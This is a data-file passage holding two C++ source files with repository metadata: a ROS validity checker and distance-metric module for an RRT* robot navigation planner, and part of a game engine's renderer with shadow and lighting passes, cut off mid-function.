{"text": "\n#include <upo_rrt_planners/ros/ValidityChecker.h>\n#include <nav_msgs/Odometry.h>\n#include <Eigen/Core>\n#include <ros/console.h>\n\n\nupo_RRT_ros::ValidityChecker::ValidityChecker(bool use_fc_costmap, tf::TransformListener* tf, std::vector<geometry_msgs::Point>* footprint, \n\tfloat insc_radius, float size_x, float size_y, float res, unsigned int dimensions, int distType) : StateChecker()\n{\n\t\n\tget_cost_from_costmap_ = use_fc_costmap;\n\t\n\t//if(!get_cost_from_costmap_) {\n\t\t//printf(\"Initialization of nav_features\\n\");\n\t\tnavfeatures_ = new features::NavFeatures(tf, footprint, insc_radius, size_x, size_y, res);\n\t/*}else {\n\t\tprintf(\"----Using cost function to build a costmap-----\\n\");\n\t\tloc_costmap_ = loc_costmap;\n\t\tglo_costmap_ = glob_costmap;\n\t\ttf_ = tf;\n\t}*/\n\tdimensions_ = dimensions;\n\tdistanceType_ = distType;\n\ttime_ = ros::Time::now();\n}\n\n\nupo_RRT_ros::ValidityChecker::~ValidityChecker() {\n\t\n\tdelete navfeatures_;\n}\n\n\nbool upo_RRT_ros::ValidityChecker::isValid(upo_RRT::State* s) const\n{\n\tgeometry_msgs::PoseStamped p_in;\n\tp_in.header.frame_id = \"base_link\"; \n\t//p_in.header.stamp = ros::Time(0); //this is a problem when the planning time is long. the time stamp should be the time when the rrt started to plan.\n\tif((ros::Time::now()-time_).toSec() > 2.0) {\n\t\t\t//time_ = ros::Time::now();\n\t\t\tp_in.header.stamp = ros::Time(0);\n\t} else \n\t\tp_in.header.stamp = time_;\n\t\n\tp_in.pose.position.x = s->getX();\n\tp_in.pose.position.y = s->getY();\n\tp_in.pose.orientation = tf::createQuaternionMsgFromYaw(s->getYaw());\n\t\n\t\n\tif(!get_cost_from_costmap_)  \n\t{\n\t\t//If we calculate the validity in a normal way \n\t\treturn navfeatures_->poseValid(&p_in);\n\t\t\n\t\t\n\t} else {  \n\t\t//we check the validity checking the value of the costmap built by using the RRT* cost function\n\t\tprintf(\"\\nERROR!! Validity checking by using costmap is not available!!!!\\n\");\n\t\treturn false;\n\t\t\n\t}\n}\n\n\nvoid upo_RRT_ros::ValidityChecker::preplanning_computations()\n{\n\tif(!get_cost_from_costmap_)\n\t\tnavfeatures_->update();\n}\n\n\nfloat upo_RRT_ros::ValidityChecker::distance(upo_RRT::State* s1, upo_RRT::State* s2) const\n{\n\tfloat dx = s1->getX() - s2->getX();\n\tfloat dy = s1->getY() - s2->getY();\n\t//float dist = sqrt(dx*dx + dy*dy);\n\tfloat dist = dx*dx + dy*dy;\n\t\n\tswitch(distanceType_) {\n\t\t\n\t\tcase 1:\n\t\t\treturn dist;\n\n\t\tcase 2:\n\t\t\treturn sqrt(dist);\n\n\t\tcase 3:\n\t\t\tif(dimensions_ == 2)\n\t\t\t\treturn sqrt(dist);\n\t\t\telse {\n\t\t\t\t//SUM w1*|| Pi+1 - Pi|| + w2*(1-|Qi+1 * Qi|)\u00b2\n\t\t\t\tfloat euc_dist = sqrt(dist);\n\t\t\n\t\t\t\ttf::Quaternion q1 = tf::createQuaternionFromYaw(s1->getYaw());\n\t\t\t\ttf::Quaternion q2 = tf::createQuaternionFromYaw(s2->getYaw());\n\t\t\t\tfloat dot_prod = q1.dot(q2);\n\t\t\t\tfloat angle_dist =  (1 - fabs(dot_prod))*(1 - fabs(dot_prod));\n\t\t\t\t//printf(\"eu_dist: %.2f, angle_dist: %.3f, dist: %.3f\\n\", euc_dist, angle_dist, 0.8*euc_dist + 0.2*angle_dist);\n\t\t\t\treturn 0.7*euc_dist + 0.3*angle_dist;\n\t\t\t}\n\t\t\t\n\t\tcase 4:\n\t\t\tif(dimensions_ == 2)\n\t\t\t\treturn sqrt(dist);\n\t\t\telse {\n\t\t\t\t// Another option\n\t\t\t\t/*\n\t\t\t\tFirst, transform the robot location into person location frame: \n\t\t\t\t\t\t\t\t\t\t\t|cos(th)  sin(th)  0|\n\t\t\t\t\tRotation matrix R(th)= \t|-sin(th) cos(th)  0|\n\t\t\t\t\t\t\t\t\t\t\t|  0        0      1|\n\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\tx' = (xr-xp)*cos(th_p)+(yr-yp)*sin(th_p)\n\t\t\t\t\ty' = (xr-xp)*(-sin(th_p))+(yr-yp)*cos(th_p)\n\t\t\t\t*/\n\t\t\t\tfloat x = (s2->getX()-s1->getX())*cos(s1->getYaw()) + (s2->getY()-s1->getY())*sin(s1->getYaw());\n\t\t\t\tfloat y =-(s2->getX()-s1->getX())*sin(s1->getYaw()) + (s2->getY()-s1->getY())*cos(s1->getYaw()); \n\t\t\t\tfloat alpha = atan2(y, x);\n\t\t\t\treturn (0.8*sqrt(dist)+0.2*fabs(alpha));\n\t\t\t}\n\t\t\t\n\t\tcase 5:  \n\t\t\tif(dimensions_ == 2)\n\t\t\t\treturn sqrt(dist);\n\t\t\telse {\n\t\t\t\t//UPO. Dist + sum of the angles of both points regarding the intersection line\n\t\t\t\tfloat x = (s2->getX()-s1->getX())*cos(s1->getYaw()) + (s2->getY()-s1->getY())*sin(s1->getYaw());\n\t\t\t\tfloat y =-(s2->getX()-s1->getX())*sin(s1->getYaw()) + (s2->getY()-s1->getY())*cos(s1->getYaw()); \n\t\t\t\tfloat alpha = atan2(y, x);\n\t\t\t\tfloat beta = s2->getYaw() - alpha;\n\t\t\t\tbeta = navfeatures_->normalizeAngle(beta, -M_PI, M_PI);\n\t\t\t\treturn (0.6*sqrt(dist)+0.4*(fabs(alpha)+fabs(beta)));\n\t\t\t}\n\t\t\t\n\t\tcase 6:  \n\t\t\tif(dimensions_ == 2)\n\t\t\t\treturn sqrt(dist);\n\t\t\telse {\n\t\t\t\t//Paper IROS2015 \"Feedback motion planning via non-holonomic RRT* for mobile robots\"\n\t\t\t\tfloat x = (s2->getX()-s1->getX())*cos(s1->getYaw()) + (s2->getY()-s1->getY())*sin(s1->getYaw());\n\t\t\t\tfloat y =-(s2->getX()-s1->getX())*sin(s1->getYaw()) + (s2->getY()-s1->getY())*cos(s1->getYaw()); \n\t\t\t\tfloat alpha = atan2(y, x);\n\t\t\t\tfloat phi = s2->getYaw() - alpha;\n\t\t\t\tphi = navfeatures_->normalizeAngle(phi, -M_PI, M_PI);\n\t\t\t\tfloat ka = 0.5;\n\t\t\t\tfloat ko = ka/8.0;\n\t\t\t\tdist = sqrt(dist);\n\t\t\t\t// two options\n\t\t\t\tfloat alpha_prime = atan(-ko*phi);\n\t\t\t\t//float alpha_prime = atan(-ko*ko * phi/(dist*dist));\n\t\t\t\tfloat r = navfeatures_->normalizeAngle((alpha-alpha_prime), -M_PI, M_PI);\n\t\t\t\treturn (sqrt(dist*dist + ko*ko + phi*phi) + ka*fabs(r));\n\t\t\t}\n\t\t\t\n\t\tdefault:\n\t\t\treturn sqrt(dist);\n\t}\n\t\n}\n\n\n\nfloat upo_RRT_ros::ValidityChecker::getCost(upo_RRT::State* s)\n{\n\t\n\tif(get_cost_from_costmap_) {\n\t\tprintf(\"\\nERROR!! ValidityChecker. getCost from costmap is not available!!!!\\n\");\n\t}\n\n\tgeometry_msgs::PoseStamped pose;\n\tpose.header.frame_id = \"base_link\"; \n\tif((ros::Time::now()-time_).toSec() > 2.0)\n\t\ttime_ = ros::Time::now();\n\tpose.header.stamp = time_; \n\t//pose.header.stamp = ros::Time(0);\n\tpose.pose.position.x = s->getX();\n\tpose.pose.position.y = s->getY();\n\tpose.pose.orientation = tf::createQuaternionMsgFromYaw(s->getYaw());\n\t//printf(\"ValidityChecker. x: %.2f, y:%.2f, th: %.2f\\n\", pose.pose.position.x, pose.pose.position.y, s->getYaw());\n\tfloat cost = navfeatures_->getCost(&pose);\n\treturn cost;\n\t\n\t\n}\n\n\n\nstd::vector<float> upo_RRT_ros::ValidityChecker::getFeatures(upo_RRT::State* s) \n{\n\t\n\tgeometry_msgs::PoseStamped pose;\n\tpose.header.frame_id = \"base_link\"; \n\tpose.header.stamp = ros::Time(0);\n\tpose.pose.position.x = s->getX();\n\tpose.pose.position.y = s->getY();\n\tpose.pose.orientation = tf::createQuaternionMsgFromYaw(s->getYaw());\n\t\n\tstd::vector<float> features = navfeatures_->getFeatures(&pose);\n\t\n\treturn features;\n}\n\n\n\n\nvoid upo_RRT_ros::ValidityChecker::setPeople(upo_msgs::PersonPoseArrayUPO p)\n{\n\tnavfeatures_->setPeople(p);\n}\n\n\nvoid upo_RRT_ros::ValidityChecker::setWeights(std::vector<float> we) {\n\tnavfeatures_->setWeights(we);\n}\n\n\ngeometry_msgs::PoseStamped upo_RRT_ros::ValidityChecker::transformPoseTo(geometry_msgs::PoseStamped pose_in, std::string frame_out, bool usetime) {\n\t\n\treturn navfeatures_->transformPoseTo(pose_in, frame_out, usetime);\n\t\n}\n\nbool upo_RRT_ros::ValidityChecker::isQuaternionValid(const geometry_msgs::Quaternion q) {\n\t\n\treturn navfeatures_->isQuaternionValid(q);\n}\n\n\n\n\n\n", "meta": {"hexsha": "9805f90ae6b10d447294eb84da694e80b0d826bb", "size": 6692, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "rrt_planners/src/ros/ValidityChecker.cpp", "max_stars_repo_name": "Tutorgaming/indires_navigation", "max_stars_repo_head_hexsha": "830097ac0a3e3a64da9026518419939b509bbe71", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 90.0, "max_stars_repo_stars_event_min_datetime": "2019-07-19T13:44:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T21:39:15.000Z", "max_issues_repo_path": "rrt_planners/src/ros/ValidityChecker.cpp", "max_issues_repo_name": "Tutorgaming/indires_navigation", "max_issues_repo_head_hexsha": "830097ac0a3e3a64da9026518419939b509bbe71", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 13.0, "max_issues_repo_issues_event_min_datetime": "2019-12-02T07:32:18.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-10T09:38:44.000Z", "max_forks_repo_path": "rrt_planners/src/ros/ValidityChecker.cpp", "max_forks_repo_name": "Tutorgaming/indires_navigation", "max_forks_repo_head_hexsha": "830097ac0a3e3a64da9026518419939b509bbe71", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 26.0, "max_forks_repo_forks_event_min_datetime": "2019-05-27T14:43:43.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-17T21:39:19.000Z", "avg_line_length": 28.7210300429, "max_line_length": 152, "alphanum_fraction": 0.652420801, "num_tokens": 2108, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.24798742068237778, "lm_q1q2_score": 0.12980166226538917}}
{"text": "#include \"i_render.h\"\n#include \"renderer.h\"\n#include \"ui/i_ui.h\"\n#include \"font.h\"\n#include \"particle_engine.h\"\n#include \"render_target.h\"\n#include \"platform/settings.h\"\n#include \"sprite_phase_cache.h\"\n#include \"engine/engine.h\"\n#include \"engine/activity_system.h\"\n#include \"light_system.h\"\n#include \"core/i_light_component.h\"\n#include \"core/i_position_component.h\"\n#include <boost/assign.hpp>\n#include \"engine/system_suppressor.h\"\n\nnamespace engine {\nnamespace {\ndouble GetCamSize( Camera* cam )\n{\n    static float const activityMult = Settings::Get().GetFloat( \"activity.camera_multiplier\", 0.5 );\n    auto const& view = cam->VisibleRegion();\n    return std::max( view.z - view.x, view.w - view.y ) * activityMult;\n}\nenum ShownLayer\n{\n    Normal,\n    SpriteCache,\n    BumpMap,\n    PostprocessMask,\n    ShadowUnwrap,\n    Shadows,\n    FsShadows,\n    Lights,\n    TopLights,\n    AllLights,\n};\nShownLayer shownLayer()\n{\n    static std::string const layer = Settings::Get().GetStr( \"graphics.shown_layer\", \"normal\" );\n    static std::map<std::string,ShownLayer> const layers = {\n        { \"normal\", Normal },\n        { \"sprite_cache\", SpriteCache },\n        { \"bump_map\", BumpMap },\n        { \"postprocess_mask\", PostprocessMask },\n        { \"shadow_unwrap\", ShadowUnwrap },\n        { \"fsshadows\", FsShadows },\n        { \"shadows\", Shadows },\n        { \"lights\", Lights },\n        { \"top_lights\", TopLights },\n        { \"all_lights\", AllLights },\n    };\n    auto i = layers.find( layer );\n    return i == layers.end() ? Normal : i->second;\n}\n} // namespace anonymous\n\n\nRendererSystem::RendererSystem()\n    : mWorldProjector( -1000.0f, 1000.0f )\n    , mUiProjector( 100.0f, 0.0f, Projection::VM_Fixed )\n    , mCamera( mWorldProjector )\n    , mUi( Ui::Get() )\n    , mDecalEngine( DecalEngine::Get() )\n    , mShaderManager( ShaderManager::Get() )\n    , mMouseRawPos( 0 )\n    , mMouseWorldPos( 0 )\n{\n    Font::Get();\n    mMouseMoveId = EventServer<ScreenMouseMoveEvent>::Get().Subscribe( boost::bind( &RendererSystem::OnMouseMoveEvent, this, _1 ) );\n    mMousePressId = EventServer<ScreenMousePressEvent>::Get().Subscribe( boost::bind( &RendererSystem::OnMousePressEvent, this, _1 ) );\n    mMouseReleaseId = EventServer<ScreenMouseReleaseEvent>::Get().Subscribe( boost::bind( &RendererSystem::OnMouseReleaseEvent, this, _1 ) );\n    core::ActivityTraits::SetActorScaleFunc( std::bind( &RenderableRepo::GetMaxScale, &RenderableRepo::Get(), std::placeholders::_1 ) );\n    core::ActivityTraits::SetActiveSizeFunc( std::bind( &GetCamSize, &mCamera ) );\n    Init();\n}\n\nRendererSystem::~RendererSystem()\n{\n\n}\n\nvoid RendererSystem::SetupIdentity()\n{\n    static glm::mat4 const id(1.0);\n    mShaderManager.UploadGlobalData( GlobalShaderData::WorldProjection, id );\n    mShaderManager.UploadGlobalData( GlobalShaderData::WorldCamera, id );\n// NOTE: this function is called before world rendering\n// and the \"original\" inverse matrix is required there, not the identity-inverse\n// to get the raw world coords from frag coords\n//    mShaderManager.UploadGlobalData( GlobalShaderData::InverseProjection, id );\n}\n\nvoid RendererSystem::SetupRenderer( const Camera& cam, float Scale )\n{\n    auto const& proj = cam.GetProjection();\n    Viewport const& Vp = proj.GetViewport();\n    glViewport( Vp.X, Vp.Y, Vp.Width * Scale, Vp.Height * Scale );\n\n    mShaderManager.UploadGlobalData( GlobalShaderData::WorldProjection, proj.GetMatrix() );\n    mShaderManager.UploadGlobalData( GlobalShaderData::WorldCamera, cam.GetView() );\n    mShaderManager.UploadGlobalData( GlobalShaderData::InverseProjection, glm::inverse( cam.GetView() ) * glm::inverse( proj.GetMatrix() ) );\n    mShaderManager.UploadGlobalData( GlobalShaderData::Resolution, glm::vec2( Vp.Width * Scale, Vp.Height * Scale ) );\n}\n\nvoid RendererSystem::OnMouseMoveEvent( const ScreenMouseMoveEvent& Event )\n{\n    glm::vec3 EvtPos( Event.Pos.x, Event.Pos.y, 0 );\n    mMouseRawPos = EvtPos;\n    glm::vec3 UiEvtPos = mUiProjector.Unproject( EvtPos );\n    UiMouseMoveEvent UiEvt( glm::vec2( UiEvtPos.x, UiEvtPos.y ) );\n    if( EventServer<UiMouseMoveEvent>::Get().SendEvent( UiEvt ) )\n    {\n        return;\n    }\n}\n\nvoid RendererSystem::OnMousePressEvent( const ScreenMousePressEvent& Event )\n{\n    glm::vec3 EvtPos( Event.Pos.x, Event.Pos.y, 0 );\n    glm::vec3 UiEvtPos = mUiProjector.Unproject( EvtPos );\n    UiMousePressEvent UiEvt( glm::vec2( UiEvtPos.x, UiEvtPos.y ), Event.Button );\n    if( EventServer<UiMousePressEvent>::Get().SendEvent( UiEvt ) )\n    {\n        return;\n    }\n\n    glm::vec3 WorldEvtPos( mCamera.GetInverseView()*glm::vec4( mWorldProjector.Unproject( EvtPos ), 1.0 ) );\n\n    WorldMousePressEvent WorldEvt( glm::vec2( WorldEvtPos.x, WorldEvtPos.y ), Event.Button );\n    EventServer<WorldMousePressEvent>::Get().SendEvent( WorldEvt );\n}\n\nvoid RendererSystem::OnMouseReleaseEvent( const ScreenMouseReleaseEvent& Event )\n{\n    glm::vec3 EvtPos( Event.Pos.x, Event.Pos.y, 0 );\n    glm::vec3 UiEvtPos = mUiProjector.Unproject( EvtPos );\n    UiMouseReleaseEvent UiEvt( glm::vec2( UiEvtPos.x, UiEvtPos.y ), Event.Button );\n    if( EventServer<UiMouseReleaseEvent>::Get().SendEvent( UiEvt ) )\n    {\n        return;\n    }\n\n    glm::vec3 WorldEvtPos( mCamera.GetInverseView()*glm::vec4( mWorldProjector.Unproject( EvtPos ), 1.0 ) );\n    WorldMouseReleaseEvent WorldEvt( glm::vec2( WorldEvtPos.x, WorldEvtPos.y ), Event.Button );\n    EventServer<WorldMouseReleaseEvent>::Get().SendEvent( WorldEvt );\n}\n\nvoid RendererSystem::Init()\n{\n    glEnable( GL_TEXTURE_2D );\n    glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA );\n    glEnable( GL_BLEND );\n}\n\nnamespace {\nstd::set<int32_t> blacklistedPostprocessors()\n{\n    static bool inited = false;\n    static std::set<int32_t> rv;\n    if( inited )\n    {\n        return rv;\n    }\n    inited = true;\n    Json::Value bl = Settings::Get().Resolve( \"graphics.pp_blacklist\" );\n    if( !bl.isArray() )\n    {\n        return rv;\n    }\n    for( auto it : bl )\n    {\n        rv.insert( AutoId( it.asString() ) );\n    }\n    return rv;\n}\nvoid getActiveActorProps( std::set<int32_t>& shadowLevels, std::set<int32_t>& postprocessorIds )\n{\n    static auto activityS = engine::Engine::Get().GetSystem<engine::ActivitySystem>();\n    auto const& Lst = activityS->GetActiveActors();\n    std::set<int32_t> pps;\n    for( auto i = Lst.begin(), e = Lst.end(); i != e; ++i )\n    {\n        const Actor& Object = **i;\n        Opt<IRenderableComponent> renderableC( Object.Get<IRenderableComponent>() );\n        if( !renderableC.IsValid() )\n        {\n            continue;\n        }\n        shadowLevels.insert( renderableC->GetCastShadow() );\n        shadowLevels.insert( renderableC->GetReceiveShadow() );\n        auto const& procs = renderableC->GetPostProcessIds();\n        pps.insert( procs.begin(), procs.end() );\n    }\n    shadowLevels.erase( 0 );\n    static auto const bls = blacklistedPostprocessors();\n    std::set_difference( pps.begin(), pps.end(), bls.begin(), bls.end(), std::inserter( postprocessorIds, postprocessorIds.end() ) );\n}\nbool selectBloodReceivers( IRenderableComponent const& renderableC )\n{\n    return renderableC.GetReceiveBlood() != 0;\n}\nbool selectNonBloodReceivers( IRenderableComponent const& renderableC )\n{\n    return renderableC.GetReceiveBlood() == 0;\n}\nbool selectShadowReceivers( IRenderableComponent const& renderableC, int32_t shadowLevel )\n{\n    return renderableC.GetReceiveBlood() == 0 && renderableC.GetReceiveShadow() == shadowLevel;\n}\n\nbool selectShadowCasters( IRenderableComponent const& renderableC, int32_t shadowLevel )\n{\n    return renderableC.GetReceiveBlood() == 0 && renderableC.GetCastShadow() == shadowLevel;\n}\n\nbool selectShadowCastersExcept( IRenderableComponent const& renderableC, int32_t shadowLevel, IRenderableComponent const* except )\n{\n    return &renderableC != except && renderableC.GetReceiveBlood() == 0 && renderableC.GetCastShadow() == shadowLevel;\n}\nstruct LightDesc\n{\n    Opt<ILightComponent> lightC;\n    Opt<IRenderableComponent> renderableC;\n    glm::vec2 center;\n    GLfloat orientation;\n};\nstd::vector<LightDesc> getLights()\n{\n    static auto lightS = engine::Engine::Get().GetSystem<render::LightSystem>();\n    std::vector<LightDesc> lds;\n    lds.push_back( \n        std::move( LightDesc{ Opt<ILightComponent>(),\n        Opt<IRenderableComponent>(),\n        glm::vec2( std::numeric_limits<double>::max(), std::numeric_limits<double>::max() ),\n        0.0 } )\n        );\n    for( auto light : lightS->GetActiveLights() )\n    {\n        auto positionC = light->Get<IPositionComponent>();\n        glm::vec2 center( std::numeric_limits<double>::max(), std::numeric_limits<double>::max() );\n        GLfloat heading = 0.0;\n        if( positionC.IsValid() )\n        {\n            center = glm::vec2( positionC->GetX(), positionC->GetY() );\n            heading = positionC->GetOrientation();\n        }\n        lds.push_back(\n            std::move( LightDesc{ light->Get<ILightComponent>(),\n            light->Get<IRenderableComponent>(),\n            center,\n            heading } )\n            );\n    }\n    return lds;\n}\n} // namespace anonymous\n\nvoid RendererSystem::Update( double DeltaTime )\n{\n    using render::RenderTargetProps;\n    perf::Timer_t method;\n    method.Log( \"start render\" );\n    bool const isSuppressed = engine::SystemSuppressor::Get().IsSuppressed();\n    static render::SpritePhaseCache& cache( render::SpritePhaseCache::Get() );\n    render::RenderTarget& rt( render::RenderTarget::Get() );\n    SendWorldMouseMoveEvent();\n\n    if( isSuppressed )\n    {\n        glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA );\n        SetupIdentity();\n        Viewport const& Vp = mUiProjector.GetViewport();\n        glViewport( Vp.X, Vp.Y, Vp.Width, Vp.Height );\n        mShaderManager.UploadGlobalData( GlobalShaderData::Resolution, glm::vec2( Vp.Width, Vp.Height ) );\n        rt.SetTargetScreen();   \n        mUiRenderer.Draw( mUi.GetRoot(), mUiProjector.GetMatrix() );\n        mMouseRenderer.Draw( mTextSceneRenderer );\n        mTextSceneRenderer.Draw();\n        return;\n    }\n\n    render::ParticleEngine::Get().Update( DeltaTime );\n    mCamera.Update();\n    SetupRenderer( mCamera );\n    // render world\n    // allocate render target ids\n    static uint32_t const world = rt.GetFreeId();\n    static uint32_t const shadowOutline = rt.GetFreeId();\n    static uint32_t const shadowDedicatedOutline = rt.GetFreeId();\n    static uint32_t const shadowUnwrap = rt.GetFreeId();\n    static uint32_t const shadowDedicatedUnwrap = rt.GetFreeId();\n    static uint32_t const lightsLayer = rt.GetFreeId();\n    static uint32_t const lightsDedicated = rt.GetFreeId();\n    static uint32_t const worldBumped = rt.GetFreeId();\n    static uint32_t const worldEffects = rt.GetFreeId();\n    static uint32_t const worldPostProcess = rt.GetFreeId();\n    static uint32_t const worldDedicatedPostProcess = rt.GetFreeId();\n    static uint32_t const sunOutline = rt.GetFreeId();\n    static uint32_t const sunDedicatedOutline = rt.GetFreeId();\n    static uint32_t const cumulativeLight = rt.GetFreeId();\n    static uint32_t const topcasters = rt.GetFreeId();\n    static uint32_t const fullsizeshadows = rt.GetFreeId();\n\n    static auto lightS = engine::Engine::Get().GetSystem<render::LightSystem>();\n    auto const& lights = getLights();\n\n    std::vector<Camera const*> cameras;\n    std::vector<std::unique_ptr<Projection> > tempProjections;\n    std::vector<std::unique_ptr<Camera> > tempCameras;\n    cameras.push_back( &mCamera );\n    // add cameras for lights\n    for( auto const& light : lights )\n    {\n        GLfloat lightSize = light.lightC.IsValid() ? light.lightC->GetRadius() : 10.0;\n        std::unique_ptr<Projection> proj( new Projection( -lightSize * 1.5, lightSize * 1.5 ) );\n        std::unique_ptr<Camera> cam( new Camera( *proj ) );\n        cam->SetCenter( light.center );\n        cameras.push_back( cam.get() );\n        tempProjections.push_back( std::move( proj ) );\n        tempCameras.push_back( std::move( cam ) );\n    }\n\n    RenderTargetProps worldProps( mWorldProjector.GetViewport().Size(), {GL_RGBA, GL_RGB } );\n    rt.SetTargetTexture( world, worldProps);\n    glBlendFunc( GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA );\n    Scene& Scen( Scene::Get() );\n    mPerfTimer.Log( \"pre prepare\" );\n    mActorRenderer.Prepare( Scen, cameras, DeltaTime );\n    mPerfTimer.Log( \"post prepare\" );\n    mActorRenderer.Draw( &selectBloodReceivers );\n    mDecalEngine.Draw();\n\n    static bool const castShadows = Settings::Get().GetInt( \"graphics.cast_shadows\", 1 );\n    mPerfTimer.Log( \"pre shadow\" );\n    std::set<int32_t> shadowLevels, postProcessorIds;\n    getActiveActorProps( shadowLevels, postProcessorIds );\n    static int32_t lightsid( AutoId( \"lights\" ) );\n    static int32_t unwrapid( AutoId( \"shadow_unwrap\" ) );\n    static int32_t solidid( AutoId( \"world_solid_objects\" ) );\n    static int32_t sunlight( AutoId( \"sunlight\" ) );\n    static int32_t topcastersid( AutoId( \"topcasters\" ) );\n    static int32_t lightmap( AutoId( \"lightmap\" ) );\n    static int32_t mergelights( AutoId( \"mergelights\" ) );\n    static float const shadowmult = Settings::Get().GetFloat( \"graphics.shadow_scale\", 0.3 );\n    float maxShadow = lightS->GetMaxShadow();\n    glm::vec2 lightVec = lightS->GetShadowVector();\n    glm::vec4 ambientLight = lightS->GetAmbientLight();\n    int numShadowSteps = ceil( std::max( std::abs( lightVec.x ), std::abs( lightVec.y ) ) / 10.0 );\n    LL() << maxShadow << \" (\" << lightVec.x\n        << \" \" << lightVec.y\n        << \") (\"\n        << ambientLight.x << \" \"\n        << ambientLight.y << \" \"\n        << ambientLight.z << \" \"\n        << ambientLight.w\n        << \") \"\n        << numShadowSteps;\n    if( castShadows != 0 )\n    {\n        rt.SetTargetTexture( cumulativeLight, RenderTargetProps( mWorldProjector.GetViewport().Size() * shadowmult, { GL_RGBA } ) );\n        glClearColor( 1,1,1,1 );\n        glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT );\n        for( auto shadowLevel : shadowLevels )\n        {\n            bool topmost = shadowLevel == std::numeric_limits<int32_t>::max();\n            uint32_t outline = topmost ? shadowOutline : shadowDedicatedOutline;\n            uint32_t unwrap = topmost ? shadowUnwrap : shadowDedicatedUnwrap;\n            uint32_t lightrl = topmost ? lightsLayer : lightsDedicated;\n            uint32_t sunline = topmost ? sunOutline : sunDedicatedOutline;\n\n            glBlendEquation( GL_FUNC_ADD );\n            rt.SelectTargetTexture( world );\n            SetupRenderer( mCamera );\n            mActorRenderer.Draw( std::bind( &selectShadowReceivers, std::placeholders::_1, shadowLevel ) );\n\n            rt.SetTargetTexture( lightrl, RenderTargetProps( mWorldProjector.GetViewport().Size() * shadowmult, { GL_RGBA, GL_RGBA } ) );\n            rt.SelectTargetTexture( lightrl, true );\n\n            // lightrl collects the lights, we have to init it to 0 - complete darkness\n            // we use GL_MAX when drawing to it\n            glClearColor( 0, 0, 0, 1 );\n            glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT | GL_STENCIL_BUFFER_BIT );\n            rt.SelectTargetTexture( lightrl );\n            glBlendEquation( GL_MAX );\n\n            // -- direct sunlight to outline\n            // render the normal shadowcasters with a \"tail\" ( lightVec )\n            rt.SetTargetTexture( sunline, RenderTargetProps( mCamera.GetProjection().GetViewport().Size() * shadowmult, { GL_RGBA4 } ) );\n            SetupRenderer( mCamera, shadowmult );\n            mActorRenderer.Draw(\n                std::bind( &selectShadowCasters, std::placeholders::_1, shadowLevel),\n                [&](ShaderManager& ShaderMgr)->void{\n                    ShaderMgr.UploadData( \"resolution\", mCamera.GetProjection().GetViewport().Size() * shadowmult );\n                    ShaderMgr.UploadData( \"lightVec\", lightVec );\n                },\n                numShadowSteps\n            );\n            // fill lights except outline\n            // use the previously rendered sun outline to draw into the lightrl map\n            // lightrl: r/g/b is the alpha from sunline\n            // as GL_MAX uses rgb, no alpha\n            SetupIdentity();\n            rt.SelectTargetTexture( lightrl, true );\n            mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( sunline ), sunlight,\n                [&](ShaderManager& ShaderMgr)->void{\n                    ShaderMgr.UploadData( \"resolution\", mCamera.GetProjection().GetViewport().Size() * shadowmult );\n                    ShaderMgr.UploadData( \"ambient\", ambientLight );\n                } );\n            // direct sunlight end\n            rt.SelectTargetTexture( lightrl );\n\n            auto lightCamIt = tempCameras.begin();\n            auto lightProjIt = tempProjections.begin();\n            for( auto const& light : lights )\n            {\n                auto const& lightCam = **lightCamIt++;\n                auto const& camProjection = **lightProjIt++;\n                GLfloat lightSize = light.lightC.IsValid() ? light.lightC->GetRadius() : -1.0;\n                glm::vec4 pos( light.center.x, light.center.y, 1, 1 );\n                glm::vec4 sizePos( light.center.x + lightSize, light.center.y + lightSize, 1, 1 );\n                GLfloat ori = light.orientation; // radians\n                GLfloat aperture = ( light.lightC.IsValid() ? light.lightC->GetAperture() : 0 ) * 3.141592654 / 180.0;\n                GLfloat fsaperture = ( light.lightC.IsValid() ? light.lightC->GetFullStrengthAperture() : 0 ) * 3.141592654 / 180.0;\n                // lightPos4 is in player view space\n                auto lightPos4 =  mCamera.GetProjection().GetMatrix() * mCamera.GetView() * pos;\n                auto sizePos4 =  mCamera.GetProjection().GetMatrix() * mCamera.GetView() * sizePos;\n                // create camera with max light range range, pos center\n                // use that cam + world to render outline to small shadow map\n                // use small shadow map to create 1d map\n                // use that map + pos to render shadow layer\n                rt.SetTargetTexture( outline, RenderTargetProps( lightCam.GetProjection().GetViewport().Size() * shadowmult, { GL_RGBA4, GL_RGB4 } ) );\n                SetupRenderer( lightCam, shadowmult );\n                mActorRenderer.Draw( std::bind( &selectShadowCastersExcept,\n                            std::placeholders::_1,\n                            shadowLevel,\n                            light.renderableC.Get() ) );\n\n                SetupIdentity();\n\n                glm::vec2 shadowsize( lightCam.GetProjection().GetViewport().Size() * shadowmult );\n                glm::vec2 uwsize( shadowsize.x, 1 );\n                glm::vec2 lightPos = glm::vec2( lightPos4.x + 1, lightPos4.y + 1 ) / 2.0;\n                glm::vec2 sizePos2 = glm::vec2( sizePos4.x + 1, sizePos4.y + 1 ) / 2.0;\n                glm::vec2 lightPosInShadowTex( 0.5, 0.5 );\n                // lightpos: 0..1 ^2 ( vagy screenen kivul )\n                rt.SetTargetTexture( unwrap, RenderTargetProps( uwsize, { GL_RGBA } ) );\n                mWorldRenderer.Draw( DeltaTime, rt.GetTextureId( outline ), unwrapid,\n                    [&](ShaderManager& ShaderMgr)->void{\n                        ShaderMgr.UploadData( \"resolution\", shadowsize );\n                        ShaderMgr.UploadData( \"lightPosition\", lightPosInShadowTex );\n                        ShaderMgr.UploadData( \"lightSize\", lightSize );\n                    } );\n                rt.SelectTargetTexture( lightrl );\n                float distanceMult = mWorldProjector.GetVisibleRegion().y * 1.0f 